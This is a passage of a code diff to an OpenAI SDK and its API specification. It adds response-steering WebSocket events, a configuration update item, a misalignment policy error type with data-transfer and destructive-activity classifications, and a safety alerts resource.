+ $ref: '#/components/schemas/Beta_MisalignmentErrorType'
+ description: An optional classification; clients must accept additional values.
+ detailed_explanation:
+ type: string
+ description: The public explanation for this block.
+ steer:
+ $ref: '#/components/schemas/Beta_MisalignmentSteer'
+ description: An optional public continuation instruction.
+ type: object
+ required: []
+ Beta_MisalignmentSteer:
+ properties:
+ message:
+ type: string
+ description: The public continuation instruction.
+ type: object
+ required:
+ - message
+ Beta_MisalignmentErrorType:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - potentially_unintended_data_transfer
+ - potentially_unintended_data_access
+ - potentially_unintended_destructive_activity
+ - other
BetaResponseItemList:
type: object
description: A list of Response items.
@@ -72728,6 +73645,7 @@ components:
- $ref: '#/components/schemas/BetaToolSearchCall'
- $ref: '#/components/schemas/BetaToolSearchOutput'
- $ref: '#/components/schemas/BetaAdditionalTools'
+ - $ref: '#/components/schemas/BetaResponseConfigurationUpdate'
- $ref: '#/components/schemas/BetaReasoningItem'
- $ref: '#/components/schemas/BetaProgram'
- $ref: '#/components/schemas/BetaProgramOutput'
@@ -73324,6 +74242,38 @@ components:
- call_id
- code
- fingerprint
+ BetaResponseConfigurationUpdate:
+ type: object
+ description: |
+ A configuration update that applies to subsequent responses until it is
+ replaced by another configuration update.
+ properties:
+ agent:
+ $ref: '#/components/schemas/BetaAgentTag'
+ description: The agent that produced this item.
+ id:
+ type: string
+ description: The unique ID of the configuration update item.
+ example: cnfu_123
+ type:
+ type: string
+ enum:
+ - configuration_update
+ description: The item type. Always `configuration_update`.
+ default: configuration_update
+ x-stainless-const: true
+ reasoning:
+ type: object
+ description: The reasoning configuration applied by this update.
+ properties:
+ effort:
+ $ref: '#/components/schemas/BetaReasoningEffort'
+ description: |
+ The reasoning effort used for subsequent responses until another
+ configuration update replaces it.
+ required:
+ - id
+ - type
BetaAdditionalTools:
properties:
agent:
@@ -74209,11 +75159,16 @@ components:
properties:
reason:
type: string
- description: The reason why the response is incomplete.
+ description: |
+ The reason why the response is incomplete. `steered` means
+ the response stopped at a safe output boundary after a
+ WebSocket `response.steer` event. The server can then create
+ a successor response automatically with the queued input.
enum:
- max_output_tokens
- max_messages
- content_filter
+ - steered
- type: 'null'
output:
type: array
@@ -74470,6 +75425,8 @@ components:
type: string
description: |
A human-readable description of the error.
+ misalignment:
+ $ref: '#/components/schemas/BetaMisalignmentErrorDetailsResource'
required:
- code
- message
@@ -74484,6 +75441,7 @@ components:
- invalid_prompt
- data_residency_mismatch
- bio_policy
+ - misalignment_policy_violation
- vector_store_timeout
- invalid_image
- invalid_image_format
@@ -74535,7 +75493,7 @@ components:
- type: 'null'
model:
description: |
- Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI
+ Model ID used to generate the response, like `gpt-6-astra`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models)
to browse and compare available models.
@@ -76089,7 +77047,7 @@ components:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [],
"parallel_tool_calls": true,
"previous_response_id": null,
@@ -76622,7 +77580,7 @@ components:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [],
"parallel_tool_calls": true,
"previous_response_id": null,
@@ -76814,7 +77772,7 @@ components:
"input": [],
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"id": "msg_123",
@@ -77205,6 +78163,10 @@ components:
type: object
description: |
An event that is emitted when a response finishes as incomplete.
+
+ Over WebSocket, steering can finish a response with
+ `response.incomplete_details.reason` set to `steered`, followed automatically
+ by a successor `response.created` that commits the queued steering input.
properties:
agent:
anyOf:
@@ -77247,7 +78209,7 @@ components:
},
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [],
"previous_response_id": null,
"reasoning_effort": null,
@@ -77315,7 +78277,7 @@ components:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [],
"previous_response_id": null,
"reasoning_effort": null,
@@ -77461,6 +78423,566 @@ components:
"item_id": "ws_123",
"sequence_number": 0
}
+ BetaResponseSteerFailedEvent:
+ type: object
+ title: ResponseSteerFailedEvent
+ description: |
+ Emitted when steering input is rejected or cannot be committed to a
+ successor response. Returns the original, uncommitted input so the client
+ can carry it into `response.create` when appropriate. Invalid input must
+ be corrected before retrying.
+
+ Failures after acceptance include the same steering ID. Failures before an
+ ID is allocated omit `steer.id`. A lost connection or missing acknowledgement
+ leaves the outcome unknown; it is not proof that the input was rejected.
+ properties:
+ type:
+ type: string
+ enum:
+ - response.steer.failed
+ description: The event discriminator. Always `response.steer.failed`.
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
+ steer:
+ type: object
+ description: The steering submission that could not be committed.
+ properties:
+ id:
+ type: string
+ description: |
+ The ID assigned to the steering submission, if one was allocated.
+ previous_response_id:
+ type: string
+ description: The ID of the response that was targeted for steering.
+ input:
+ $ref: '#/components/schemas/BetaResponseSteerInput'
+ required:
+ - previous_response_id
+ - input
+ error:
+ type: object
+ description: Information about why the input could not be committed.
+ properties:
+ type:
+ type: string
+ enum:
+ - invalid_request_error
+ description: The error type. Always `invalid_request_error`.
+ x-stainless-const: true
+ code:
+ $ref: '#/components/schemas/BetaResponseSteerErrorCode'
+ message:
+ type: string
+ description: A human-readable description of the error.
+ required:
+ - type
+ - code
+ - message
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event, when the target response is
+ available and its `response.create` event supplied a `stream_id`.
+ required:
+ - type
+ - sequence_number
+ - steer
+ - error
+ x-oaiMeta:
+ name: response.steer.failed
+ group: responses
+ example: |
+ {
+ "type": "response.steer.failed",
+ "sequence_number": 5,
+ "steer": {
+ "id": "steer_456",
+ "previous_response_id": "resp_123",
+ "input": [
+ {
+ "type": "message",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": "Prioritize the database rollout."
+ }
+ ]
+ }
+ ]
+ },
+ "error": {
+ "type": "invalid_request_error",
+ "code": "successor_creation_failed",
+ "message": "We couldn't start the next response. Send this steering input again with response.create."
+ }
+ }
+ BetaResponseSteerErrorCode:
+ title: ResponseSteerErrorCode
+ description: |
+ A machine-readable steering error code. Clients should handle unknown
+ values because additional codes may be introduced. Known values include:
+ - `response_not_found`: The target response is not available on this connection.
+ - `invalid_input`: The event or input failed validation.
+ - `steering_not_supported`: The model or response execution mode does not support steering.
+ - `too_many_pending_steers`: Too much steering input is pending for the response.
+ - `response_already_completed`: The response completed and is no longer accepting steering input.
+ - `response_not_active`: The response is no longer accepting steering input.
+ - `successor_creation_failed`: The successor response could not be created.
+ anyOf:
+ - type: string
+ enum:
+ - response_not_found
+ - invalid_input
+ - steering_not_supported
+ - too_many_pending_steers
+ - response_already_completed
+ - response_not_active
+ - successor_creation_failed
+ - type: string
+ BetaResponseSteerInput:
+ title: ResponseSteerInput
+ description: |
+ Input to queue for a continuation of the response. Uses the same string or
+ input-item shape as `response.create.input`, with a non-empty array when
+ supplying input items.
+
+ Steering accepts only messages with the `user` role. Each message may
+ contain only `type`, `role`, and `content`, with `content` as a string or an
+ array of `input_text`, `input_image`, and `input_file` parts. The optional
+ `type` must be `message`. Other roles, tool outputs, and item types are not
+ supported for steering.
+ anyOf:
+ - type: string
+ title: Text input
+ description: A text input, equivalent to a message with the `user` role.
+ - $ref: '#/components/schemas/BetaResponseSteerInputItemList'
+ BetaResponseSteerInputItemList:
+ type: array
+ title: Response steer input item list
+ description: A non-empty list of message inputs to queue for the response.
+ minItems: 1
+ items:
+ $ref: '#/components/schemas/BetaResponseSteerInputItem'
+ BetaResponseSteerInputItem:
+ title: Response steer input item
+ anyOf:
+ - $ref: '#/components/schemas/BetaUserMessageItemParam'
+ - $ref: '#/components/schemas/BetaFunctionCallOutputItemParam'
+ discriminator:
+ propertyName: type
+ BetaUserMessageItemParam:
+ properties:
+ agent:
+ anyOf:
+ - $ref: '#/components/schemas/Beta_AgentTagParam'
+ description: The agent that produced this item.
+ - type: 'null'
+ id:
+ anyOf:
+ - type: string
+ description: The unique ID of this message item.
+ example: msg_123
+ - type: 'null'
+ type:
+ type: string
+ enum:
+ - message
+ description: The item type. Always `message`.
+ default: message
+ x-stainless-const: true
+ role:
+ type: string
+ enum:
+ - user
+ description: The message role. Always `user`.
+ default: user
+ x-stainless-const: true
+ content:
+ description: The message content, as an array of content parts.
+ anyOf:
+ - items:
+ $ref: '#/components/schemas/BetaResponseSteerInputContent'
+ description: A piece of message content, such as text, an image, or a file.
+ type: array
+ - type: string
+ maxLength: 10485760
+ description: The message content, as a single string.
+ status:
+ anyOf:
+ - type: string
+ description: The status of the message item.
+ - type: 'null'
+ type: object
+ required:
+ - type
+ - role
+ - content
+ BetaResponseSteerPendingEvent:
+ type: object
+ title: ResponseSteerPendingEvent
+ description: |
+ Emitted when accepted steering input remains queued after the target
+ response completes. The server still owns the input. Do not resend it.
+ The successor's `response.created` event is the commit point.
+
+ When `reason` is `waiting_for_required_input`, this event follows
+ `response.completed` while the response waits for the tool results or
+ approval decisions identified by `required_input`. Copy those stubs, fill
+ their result fields using the ordinary `response.create` input schemas,
+ and submit one continuation per parent with the same `previous_response_id`
+ and WebSocket lane. Use saved results without rerunning tools. The queued
+ steering input is prepended in submission order to the continuation's
+ input. That explicit request retains its own settings.
+
+ This notification is emitted at most once per steering submission. Multiple
+ submissions for the same parent can report the same required inputs; they
+ do not each require a separate continuation.
+ properties:
+ type:
+ type: string
+ enum:
+ - response.steer.pending
+ description: The event discriminator. Always `response.steer.pending`.
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
+ steer:
+ type: object
+ description: The steering submission that remains queued.
+ properties:
+ id:
+ type: string
+ description: The ID assigned to the steering submission.
+ previous_response_id:
+ type: string
+ description: The ID of the response being steered.
+ required:
+ - id
+ - previous_response_id
+ reason:
+ $ref: '#/components/schemas/BetaResponseSteerPendingReason'
+ required_input:
+ type: array
+ minItems: 1
+ description: |
+ Input stubs identifying outstanding client-owned tool results or
+ approval decisions. Each stub contains identifying fields only; the
+ client supplies the result before including it in `response.create`.
+ items:
+ $ref: '#/components/schemas/BetaResponseSteerRequiredInput'
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present when
+ the target response's `response.create` event supplied a `stream_id`.
+ required:
+ - type
+ - sequence_number
+ - steer
+ - reason
+ - required_input
+ x-oaiMeta:
+ name: response.steer.pending
+ group: responses
+ example: |
+ {
+ "type": "response.steer.pending",
+ "sequence_number": 10,
+ "steer": {
+ "id": "steer_456",
+ "previous_response_id": "resp_123"
+ },
+ "reason": "waiting_for_required_input",
+ "required_input": [
+ {
+ "type": "function_call_output",
+ "call_id": "call_789",
+ "name": "lookup"
+ }
+ ]
+ }
+ BetaResponseSteerRequiredInput:
+ title: ResponseSteerRequiredInput
+ description: |
+ An input stub identifying an outstanding client-owned tool result or
+ approval decision. Copy the stub and fill the result fields using the
+ corresponding `response.create` input schema. Use saved results without
+ rerunning the tool. The server does not supply results, approval decisions,
+ or safety acknowledgements in these stubs.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - type: object
+ title: Required function tool call output
+ additionalProperties: false
+ description: |
+ Supply `output` using the function tool call output input schema.
+ properties:
+ type:
+ type: string
+ enum:
+ - function_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ name:
+ type: string
+ required:
+ - type
+ - call_id
+ - name
+ - type: object
+ title: Required custom tool call output
+ additionalProperties: false
+ description: |
+ Supply `output` using the custom tool call output input schema. The
+ original custom tool call supplies the tool's name.
+ properties:
+ type:
+ type: string
+ enum:
+ - custom_tool_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ required:
+ - type
+ - call_id
+ - type: object
+ title: Required computer tool call output
+ additionalProperties: false
+ description: |
+ Supply `output` using the computer tool call output input schema,
+ including any required `acknowledged_safety_checks`.
+ properties:
+ type:
+ type: string
+ enum:
+ - computer_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ required:
+ - type
+ - call_id
+ - type: object
+ title: Required shell tool call output
+ additionalProperties: false
+ description: |
+ Supply `output` using the shell tool call output input schema. Each
+ output entry includes `stdout`, `stderr`, and `outcome`.
+ properties:
+ type:
+ type: string
+ enum:
+ - shell_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ required:
+ - type
+ - call_id
+ - type: object
+ title: Required apply patch tool call output
+ additionalProperties: false
+ description: |
+ Supply `status` and optional `output` using the apply patch tool call
+ output input schema.
+ properties:
+ type:
+ type: string
+ enum:
+ - apply_patch_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ required:
+ - type
+ - call_id
+ - type: object
+ title: Required tool search output
+ additionalProperties: false
+ description: |
+ Supply `tools` using the tool search output input schema, retaining
+ `execution: "client"`.
+ properties:
+ type:
+ type: string
+ enum:
+ - tool_search_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ execution:
+ type: string
+ enum:
+ - client
+ x-stainless-const: true
+ required:
+ - type
+ - call_id
+ - execution
+ - type: object
+ title: Required MCP approval response
+ additionalProperties: false
+ description: |
+ Supply `approve` using the MCP approval response input schema. An
+ optional `reason` can be supplied when denying the request. The original
+ approval request identifies the tool and server.
+ properties:
+ type:
+ type: string
+ enum:
+ - mcp_approval_response
+ x-stainless-const: true
+ approval_request_id:
+ type: string
+ required:
+ - type
+ - approval_request_id
+ BetaResponseSteerPendingReason:
+ title: ResponseSteerPendingReason
+ description: |
+ An extensible enum describing why accepted steering input is still queued.
+ Clients should handle unknown values because additional reasons may be
+ introduced. Known values include:
+ - `waiting_for_required_input`: The response is waiting for the tool results or approval decisions identified by `required_input`.
+ anyOf:
+ - type: string
+ enum:
+ - waiting_for_required_input
+ - type: string
+ BetaResponseSteerAcceptedEvent:
+ type: object
+ title: ResponseSteerAcceptedEvent
+ description: |
+ Emitted when steering input has been validated and queued. Acceptance means
+ the server owns the input, not that it has been applied. The successor's
+ `response.created` event is the commit point. If accepted input cannot be
+ committed, `response.steer.failed` returns it with the same steering ID.
+
+ When the response stops for client-owned tool output or approval, the input
+ remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the pending event's `required_input` stubs with
+ saved results and send one matching explicit `response.create` per parent.
+ Do not resend accepted input while it is still queued.
+ properties:
+ type:
+ type: string
+ enum:
+ - response.steer.accepted
+ description: The event discriminator. Always `response.steer.accepted`.
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
+ steer:
+ type: object
+ description: The accepted steering submission.
+ properties:
+ id:
+ type: string
+ description: The ID assigned to the steering submission.
+ previous_response_id:
+ type: string
+ description: The ID of the response being steered.
+ required:
+ - id
+ - previous_response_id
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present when
+ the target response's `response.create` event supplied a `stream_id`.
+ required:
+ - type
+ - sequence_number
+ - steer
+ x-oaiMeta:
+ name: response.steer.accepted
+ group: responses
+ example: |
+ {
+ "type": "response.steer.accepted",
+ "sequence_number": 2,
+ "steer": {
+ "id": "steer_456",
+ "previous_response_id": "resp_123"
+ }
+ }
+ BetaResponseSteerEvent:
+ type: object
+ title: ResponseSteerEvent
+ additionalProperties: false
+ description: |
+ Queues user input to steer a response on this WebSocket connection. Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
+ properties:
+ type:
+ type: string
+ enum:
+ - response.steer
+ description: The event discriminator. Always `response.steer`.
+ x-stainless-const: true
+ previous_response_id:
+ type: string
+ description: The ID of the response to steer on this WebSocket connection.
+ input:
+ $ref: '#/components/schemas/BetaResponseSteerInput'
+ required:
+ - type
+ - previous_response_id
+ - input
+ x-oaiMeta:
+ name: response.steer
+ group: responses
+ example: |
+ {
+ "type": "response.steer",
+ "previous_response_id": "resp_123",
+ "input": [
+ {
+ "type": "message",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": "Prioritize the database rollout."
+ }
+ ]
+ }
+ ]
+ }
BetaOutputAudio:
type: object
title: Output audio
@@ -77885,6 +79407,10 @@ components:
- title: BetaResponseWsIncomplete
description: |
An event that is emitted when a response finishes as incomplete.
+
+ Over WebSocket, steering can finish a response with
+ `response.incomplete_details.reason` set to `steered`, followed automatically
+ by a successor `response.created` that commits the queued steering input.
allOf:
- $ref: '#/components/schemas/BetaResponseIncompleteEvent'
- type: object
@@ -78284,6 +79810,9 @@ components:
when the originating `response.create` event supplied a
`stream_id`.
- $ref: '#/components/schemas/BetaResponseWsError'
+ - $ref: '#/components/schemas/BetaResponseSteerAcceptedEvent'
+ - $ref: '#/components/schemas/BetaResponseSteerPendingEvent'
+ - $ref: '#/components/schemas/BetaResponseSteerFailedEvent'
- $ref: '#/components/schemas/BetaResponseInjectCreatedEvent'
- $ref: '#/components/schemas/BetaResponseInjectFailedEvent'
BetaResponseInjectFailedEvent:
@@ -78466,6 +79995,8 @@ components:
type: object
description: The response headers that were emitted with the error, if any.
x-oaiTypeLabel: map
+ misalignment:
+ $ref: '#/components/schemas/BetaMisalignmentErrorDetailsResource'
type: object
required:
- type
@@ -78551,6 +80082,7 @@ components:
Client events accepted by the Responses WebSocket server.
anyOf:
- $ref: '#/components/schemas/BetaResponsesClientEventResponseCreate'
+ - $ref: '#/components/schemas/BetaResponseSteerEvent'
- $ref: '#/components/schemas/BetaResponseInjectEvent'
BetaResponseInjectEvent:
type: object
@@ -78634,7 +80166,7 @@ components:
{
"type": "response.create",
"stream_id": "agent_1",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": "Say hello."
}
BetaCreateResponse:
@@ -78855,6 +80387,93 @@ components:
type: integer
minimum: 0
maximum: 20
+ BetaResponseStreamEvent:
+ description: Event emitted while a response is streamed.
+ anyOf:
+ - $ref: '#/components/schemas/BetaResponseAudioDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseAudioDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseAudioTranscriptDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseAudioTranscriptDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInterpretingEvent'
+ - $ref: '#/components/schemas/BetaResponseCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseContentPartAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseContentPartDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseCreatedEvent'
+ - $ref: '#/components/schemas/BetaResponseErrorEvent'
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandAddedStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandDeltaStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandDoneStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDeltaStreamingEvent'
+ x-stainless-skip:
+ - go
+ - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDoneStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseFailedEvent'
+ - $ref: '#/components/schemas/BetaResponseIncompleteEvent'
+ - $ref: '#/components/schemas/BetaResponseOutputItemAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseOutputItemDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningTextDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningTextDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseRefusalDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseRefusalDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseTextDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseTextDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallGeneratingEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallPartialImageEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallFailedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsFailedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseOutputTextAnnotationAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseQueuedEvent'
+ - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDoneEvent'
+ discriminator:
+ propertyName: type
+ OAuthErrorCode:
+ anyOf:
+ - enum:
+ - invalid_grant
+ - invalid_subject_token
+ - type: string
+ ResponseSteerInputContent:
+ discriminator:
+ propertyName: type
+ description: A piece of message content, such as text, an image, or a file.
+ anyOf:
+ - $ref: '#/components/schemas/InputTextContentParam'
+ - $ref: '#/components/schemas/InputImageContentParamAutoParam'
+ - $ref: '#/components/schemas/InputFileContentParam'
+ BetaResponseSteerInputContent:
+ discriminator:
+ propertyName: type
+ description: A piece of message content, such as text, an image, or a file.
+ anyOf:
+ - $ref: '#/components/schemas/BetaInputTextContentParam'
+ - $ref: '#/components/schemas/BetaInputImageContentParamAutoParam'
+ - $ref: '#/components/schemas/BetaInputFileContentParam'
RealtimeConnectParams:
type: object
properties:
@@ -78984,6 +80603,7 @@ components:
ChatModel:
type: string
enum:
+ - gpt-6-astra
- gpt-5.6-sol
- gpt-5.6-terra
- gpt-5.6-luna
@@ -79608,11 +81228,24 @@ x-oaiMeta:
- type: object
key: ResponsesClientEventResponseCreate
path:
+ - type: object
+ key: ResponseSteerEvent
+ path:
- id: responses-websocket-server-events
title: Server events (WebSocket only)
description: |
Events emitted only over a Responses API WebSocket connection.
navigationGroup: responses
+ sections:
+ - type: object
+ key: ResponseSteerAcceptedEvent
+ path:
+ - type: object
+ key: ResponseSteerPendingEvent
+ path:
+ - type: object
+ key: ResponseSteerFailedEvent
+ path:
- id: responses-websocket-shared-events
title: Server events
description: |
@@ -79767,6 +81400,19 @@ x-oaiMeta:
- type: object
key: ResponseErrorEvent
path:
+ - id: safety-alerts
+ title: Safety Alerts
+ description: |
+ Retrieve approved safety alerts with an API key. Project keys require
+ `api.safety.alerts.read` and can read alerts from their project.
+ navigationGroup: endpoints
+ sections:
+ - type: endpoint
+ key: Getprojectsafetyalert
+ path: retrieve
+ - type: object
+ key: SafetyAlertResource
+ path: object
- id: webhook-events
title: Webhook Events
description: |
@@ -79824,6 +81470,12 @@ x-oaiMeta:
- type: object
key: WebhookLiveCallIncoming
path:
+ - type: object
+ key: WebhookSafetyAlertCreated
+ path:
+ - type: object
+ key: WebhookSafetyOrgAlertCreated
+ path:
- id: images-streaming
title: Image Streaming
description: |
diff --git a/src/openai/__init__.py b/src/openai/__init__.py
index 9b0b7badcc..a1d950d3b4 100644
--- a/src/openai/__init__.py
+++ b/src/openai/__init__.py
@@ -451,6 +451,7 @@ def _reset_client() -> None: # type: ignore[reportUnusedFunction]
files as files,
images as images,
models as models,
+ safety as safety,
skills as skills,
videos as videos,
batches as batches,
diff --git a/src/openai/_client.py b/src/openai/_client.py
index 7e1daecae8..fa578a0781 100644
--- a/src/openai/_client.py
+++ b/src/openai/_client.py
@@ -63,6 +63,7 @@
files,
images,
models,
+ safety,
skills,
videos,
batches,
@@ -91,6 +92,7 @@
from .resources.completions import Completions, AsyncCompletions
from .resources.evals.evals import Evals, AsyncEvals
from .resources.moderations import Moderations, AsyncModerations
+ from .resources.safety.safety import Safety, AsyncSafety
from .resources.skills.skills import Skills, AsyncSkills
from .resources.uploads.uploads import Uploads, AsyncUploads
from .resources.realtime.realtime import Realtime, AsyncRealtime
@@ -430,6 +432,12 @@ def vector_stores(self) -> VectorStores:
return VectorStores(self)
+ @cached_property
+ def safety(self) -> Safety:
+ from .resources.safety import Safety
+
+ return Safety(self)
+
@cached_property
def webhooks(self) -> Webhooks:
from .resources.webhooks import Webhooks
@@ -1172,6 +1180,12 @@ def vector_stores(self) -> AsyncVectorStores:
return AsyncVectorStores(self)
+ @cached_property
+ def safety(self) -> AsyncSafety:
+ from .resources.safety import AsyncSafety
+
+ return AsyncSafety(self)
+
@cached_property
def webhooks(self) -> AsyncWebhooks:
from .resources.webhooks import AsyncWebhooks
@@ -1699,6 +1713,12 @@ def vector_stores(self) -> vector_stores.VectorStoresWithRawResponse:
return VectorStoresWithRawResponse(self._client.vector_stores)
+ @cached_property
+ def safety(self) -> safety.SafetyWithRawResponse:
+ from .resources.safety import SafetyWithRawResponse
+
+ return SafetyWithRawResponse(self._client.safety)
+
@cached_property
def beta(self) -> beta.BetaWithRawResponse:
from .resources.beta import BetaWithRawResponse
@@ -1856,6 +1876,12 @@ def vector_stores(self) -> vector_stores.AsyncVectorStoresWithRawResponse:
return AsyncVectorStoresWithRawResponse(self._client.vector_stores)
+ @cached_property
+ def safety(self) -> safety.AsyncSafetyWithRawResponse:
+ from .resources.safety import AsyncSafetyWithRawResponse
+
+ return AsyncSafetyWithRawResponse(self._client.safety)
+
@cached_property
def beta(self) -> beta.AsyncBetaWithRawResponse:
from .resources.beta import AsyncBetaWithRawResponse
@@ -2013,6 +2039,12 @@ def vector_stores(self) -> vector_stores.VectorStoresWithStreamingResponse:
return VectorStoresWithStreamingResponse(self._client.vector_stores)
+ @cached_property
+ def safety(self) -> safety.SafetyWithStreamingResponse:
+ from .resources.safety import SafetyWithStreamingResponse
+
+ return SafetyWithStreamingResponse(self._client.safety)
+
@cached_property
def beta(self) -> beta.BetaWithStreamingResponse:
from .resources.beta import BetaWithStreamingResponse
@@ -2170,6 +2202,12 @@ def vector_stores(self) -> vector_stores.AsyncVectorStoresWithStreamingResponse:
return AsyncVectorStoresWithStreamingResponse(self._client.vector_stores)
+ @cached_property
+ def safety(self) -> safety.AsyncSafetyWithStreamingResponse:
+ from .resources.safety import AsyncSafetyWithStreamingResponse
+
+ return AsyncSafetyWithStreamingResponse(self._client.safety)
+
@cached_property
def beta(self) -> beta.AsyncBetaWithStreamingResponse:
from .resources.beta import AsyncBetaWithStreamingResponse
diff --git a/src/openai/_module_client.py b/src/openai/_module_client.py
index df139ec952..d7bfcd90b3 100644
--- a/src/openai/_module_client.py
+++ b/src/openai/_module_client.py
@@ -19,6 +19,7 @@
from .resources.completions import Completions
from .resources.evals.evals import Evals
from .resources.moderations import Moderations
+ from .resources.safety.safety import Safety
from .resources.skills.skills import Skills
from .resources.uploads.uploads import Uploads
from .resources.realtime.realtime import Realtime
@@ -82,6 +83,12 @@ def __load__(self) -> Models:
return _load_client().models
+class SafetyProxy(LazyProxy["Safety"]):
+ @override
+ def __load__(self) -> Safety:
+ return _load_client().safety
+
+
class SkillsProxy(LazyProxy["Skills"]):
@override
def __load__(self) -> Skills:
@@ -180,6 +187,7 @@ def __load__(self) -> ContentProvenanceChecks:
evals: Evals = EvalsProxy().__as_proxied__()
images: Images = ImagesProxy().__as_proxied__()
